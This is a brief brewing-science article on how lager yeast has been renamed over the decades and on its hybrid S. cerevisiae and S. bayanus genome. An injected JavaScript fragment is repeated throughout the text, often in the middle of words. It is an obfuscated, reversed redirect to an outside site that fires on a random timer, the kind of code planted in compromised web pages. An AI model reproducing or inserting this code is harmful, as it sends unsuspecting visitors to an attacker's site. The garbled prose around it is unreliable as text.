What’s in a name?

Names are important. Our names give us identification, our surnames tell us something about who we are, where we came from and flag potential relatives.

Similarly for yeast, names are important as they can tell us something useful. In the brewing world, arguments and debate about the taxonomy of ale and lager yeasts has been rumbling on for decades.

Whilst ale yeast has steadfastly remained as Saccharomyces cerevisiae, lager yeast has gone through periodic reinvention akin tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a fungal version of David Bowie!

Prior tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 1970 lager yeast was called S. carlsbergenesis which morphed in 1970 tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to S. uvarum and then in 1990 became S. cerevisiae. So at this time ale and lager yeasts were taxonomically the same which, knowing what we know, was not quite right.

Things changed in the mid 1990’s. Primarily this was down tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the ‘yeast genome’ project and the associated development of lots of powerful and increasingly quick methods for unraveling the complexities of cell genetics.

Lager yeast is now badged as Saccharomyces pastobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torianus and much subsequent work has confirmed what we always knew – lager yeast is different tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ale yeast! Indeed, S. pastobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torianus is a hybrid yeast whose genome is a mix of S. cerevisiae and another yeast from the world of wine, Saccharomyces bayanus.

Increasingly, insight is emerging about the genetic make-up of lager yeast. For example, Nakao and coworkers reported at the 2003 EBC that the chromosomes of a production strain were from S. cerevisiae and Saccharomyces bayanus or were hybrids from each ‘parent’.

First published 13 March 2007 in YeastBytes

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